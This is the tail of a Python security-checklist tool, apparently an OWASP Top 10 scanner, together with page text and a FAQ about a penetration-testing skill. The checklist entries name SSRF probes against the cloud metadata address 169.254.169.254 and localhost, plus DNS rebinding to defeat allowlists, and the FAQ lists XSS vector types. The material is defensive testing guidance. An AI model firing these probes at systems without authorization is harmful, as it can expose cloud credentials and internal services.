"Review log configuration and sample log output for sensitive data.",
"high", ["web", "api", "all"]),
# A10: SSRF
CheckItem("A10", "Server-Side Request Forgery", "A10-01",
"Internal Network Access via SSRF",
"Test URL input fields for SSRF vulnerabilities.",
"Submit http://169.254.169.254/ and http://127.0.0.1 in URL fields.",
"critical", ["web", "api"]),
CheckItem("A10", "Server-Side Request Forgery", "A10-02",
"DNS Rebinding",
"Test for DNS rebinding attacks on URL validators.",
"Use a DNS rebinding service to bypass allowlist validation.",
"high", ["web", "api"]),
]
return checks
def format_checklist_text(checks: List[CheckItem]) -> str:
"""Format checklist as human-readable text."""
lines = []
lines.append("=" * 70)
lines.append("OWASP TOP 10 SECURITY CHECKLIST")
lines.append(f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
lines.append(f"Total checks: {len(checks)}")
lines.append("=" * 70)
current_category = ""
for check in checks:
if check.owasp_category != current_category:
current_category = check.owasp_category
lines.append(f"\n--- {check.owasp_id}: {check.owasp_category} ---\n")
sev_marker = {"critical": "[!!!]", "high": "[!! ]", "medium": "[! ]", "low": "[. ]", "info": "[ ]"}
marker = sev_marker.get(check.severity, "[ ]")
lines.append(f" {marker} [{check.check_id}] {check.title}")
lines.append(f" {check.description}")
lines.append(f" Test: {check.test_procedure}")
lines.append(f" Severity: {check.severity.upper()}")
lines.append("")
return "\n".join(lines)
def format_findings_text(findings: List[SourceFinding]) -> str:
"""Format source findings as human-readable text."""
if not findings:
return "No vulnerability patterns detected in source code."
lines = []
lines.append(f"\nSOURCE CODE FINDINGS: {len(findings)} issue(s) found\n")
by_severity = {"critical": [], "high": [], "medium": [], "low": [], "info": []}
for f in findings:
by_severity.get(f.severity, by_severity["info"]).append(f)
for sev in ["critical", "high", "medium", "low", "info"]:
group = by_severity[sev]
if not group:
continue
lines.append(f" [{sev.upper()}] ({len(group)} finding(s))")
for f in group:
lines.append(f" - {f.title} [{f.rule_id}]")
lines.append(f" File: {f.file_path}:{f.line_number}")
lines.append(f" Code: {f.code_snippet}")
lines.append(f" Fix: {f.recommendation}")
lines.append("")
return "\n".join(lines)
def main():
parser = argparse.ArgumentParser(
description="Vulnerability Scanner — Generate OWASP Top 10 checklists and scan source code for vulnerability patterns.",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s --target web --scope full
%(prog)s --target api --scope quick --json
%(prog)s --target web --source /path/to/code --scope full
%(prog)s --target mobile --scope quick --json
""",
)
parser.add_argument("--target", choices=["web", "api", "mobile"], default="web",
help="Target application type (default: web)")
parser.add_argument("--scope", choices=["quick", "full"], default="full",
help="Scan scope: quick (high/critical only) or full (default: full)")
parser.add_argument("--source", metavar="PATH",
help="Optional: path to source code directory to scan for patterns")
parser.add_argument("--json", action="store_true", dest="json_output",
help="Output results as JSON")
args = parser.parse_args()
scanner = VulnerabilityScanner(target=args.target, scope=args.scope)
checklist = scanner.generate_checklist()
source_findings = []
if args.source:
source_findings = scanner.scan_source(args.source)
if args.json_output:
output = {
"scan_metadata": {
"target": args.target,
"scope": args.scope,
"source_path": args.source,
"generated_at": datetime.now().isoformat(),
"checklist_count": len(checklist),
"source_findings_count": len(source_findings),
},
"checklist": [asdict(c) for c in checklist],
"source_findings": [asdict(f) for f in source_findings],
}
print(json.dumps(output, indent=2))
else:
print(format_checklist_text(checklist))
if source_findings:
print(format_findings_text(source_findings))
elif args.source:
print("\nNo vulnerability patterns detected in source code.")
# Exit with non-zero if critical/high findings found in source scan
critical_high = [f for f in source_findings if f.severity in ("critical", "high")]
if critical_high:
sys.exit(1)
if __name__ == "__main__":
main()
Related skills
How it compares
Pick security-pen-testing for concrete XSS and injection payload references rather than a full multi-phase OWASP workflow.
FAQ
What XSS vectors does security-pen-testing include?
security-pen-testing lists reflected XSS payloads such as script tags, img onerror, svg onload, body onload, autofocus inputs, and details ontoggle for search fields, URL parameters, forms, and headers during authorized tests.
Is security-pen-testing safe for production systems?
security-pen-testing provides non-destructive test payloads intended only for authorized penetration tests, CTF challenges, and defensive research. Developers should never run these patterns against systems without explicit permission.